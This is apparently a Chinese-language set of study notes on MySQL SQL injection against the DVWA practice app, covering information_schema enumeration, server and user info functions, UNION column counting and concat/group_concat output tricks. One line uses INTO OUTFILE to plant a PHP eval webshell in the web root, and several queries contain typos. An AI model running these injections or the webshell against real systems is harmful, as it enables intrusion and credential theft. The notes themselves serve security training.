1 MySQL内置information schema数据库结构
Mysql 内置的系统数据库INFORMATION-SCHEMA , 其结构如MSSQL 中的master 数据库, 其中记录了MySQL中所有存在数据库名、数据库表、表字段,
其中, 关键的三个表为:
- SCHEMATA : 存储数据库名的表
- Tables : 存储数据库以及数据库中的表名
- columns : 存储数据库、表、以及表中的字段。
1.1 schemata >>>存取数据库名的表
- 字段:schema_name >>>数据库名称
select schema_name from information_schema.schemata; #查数据库名
1.2 tables >>>存储表名
- 字段:table_schema >>>表示该表名属于哪个数据库名
- 字段:table_name >>>存储表的表名
select table_name from information_schema.tables where table_schema = 'dvwa'; #查表名
1.3 columns >>>存储的字段名表
- 字段:table_schema >>>该字段所属数据库名
- 字段:table_name >>>存储所属表的名称
- 字段:column_name >>>该字段的名称
select column_name from information_schema.columns where table_name ='users' and table_schema='dvwa'; #查字段名
1.4 查字段内容
select user,password from dvwa.users;
https://www.sohu.com/a/331058431_609556
2 MySQL注入常用函数和语句
2.1 查询服务器主机信息
- @@hostname 主机名称
- @@datadir 数据库路径
- @@version_compile_os 操作系统版本
select @@hostname, @@datadir,@@version_compile_os;
2.2 查询数据库版本信息
- select version() 数据库版本信息
- select @@version 数据库版本信息
- select @@global.version 数据库版本信息
- select database() 查看当前数据库名称
select version(),@@version,@@global.version,database();
2.3 查询数据库用户信息
- user() 系统用户和登录主机名
- current_user() 当前登录用户和登录主机名
- system_user() 数据库系统用户账户名称和登录主机名
- session_user() 当前会话用户名和登录主机名
select user(),current_user(),system_user(),session_user() ;
2.4 枚举数据库内容
- Select * from information_schema. schemata; / / 爆出数据库
- Select table_name from information_schema.tables where table_schema= 'dvwa'; / / 爆出指定数据库dvwa的所有表名
- Select column_name from information_schama.columns where table_name= 'users'; / / 爆出dvwa 指定表users 的所有字段名
- select (user, password) from dvwa. users; / / 爆出数据库users 内容,
- select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/dvwa/1. php'; //将< >中的内容写到'/var/www/html/dvwa/1. php'这个文件中去,相当于借助数据库将内容上传到服务器。一句话木马
2.5 联合查询语句
- order by n / / 判断当前查询结果的列数, 配合union 实用。
- order by n+1; // 让n 一直增加直到出现错误页面。
- Union 联合查询 union select......
select user,password from dvwa.users order by 3;
3 concat, concat ws, group_concat 函数
在实际注入中, 巧妙借助concat , concat_ws , group_concat 函数, 可以将注入结果更好的显示在页面中。
3.1 Conacat() 和concat_ws()
- concat(str1,str2......) 没有分隔符串联多列结果。
- concat_ws ( separator,str1,str2......) 含有分隔符地串联多列结果
上述两个函数功能非常类似, 只是在分隔符上的区别.
- 应用场景: 查询结果只有一行, 一列或多列数据。
- Concat() 和concat_ws()函数的对比, 两者均可以将一行多列的数据连接为一列, 区别concat() 连接没有连接符号。Concat_ws() 可以定义连接符,用分隔符将结果连接起来。如下图所示:
注: //0x3a 是“: ” 的十六进制, 这里把它作为分隔符: 的hex 值
3.2 gcpup_concat(str1,str2,......)
- group_concat(str1,str2,......) 用逗号,串联多行结果为一行, 每行结果用逗号串联
- 应用场景: 查询结果有一行或多行,一列或多列数据。group_concat()可以将多行多列查询结果, 显示在一行一列, 并且多行结果之间用逗号分隔。与concat_ws() 区别可以在
注: //0x3a 是“ :” 的十六进制, 在这里把它作为分隔符:的hex 值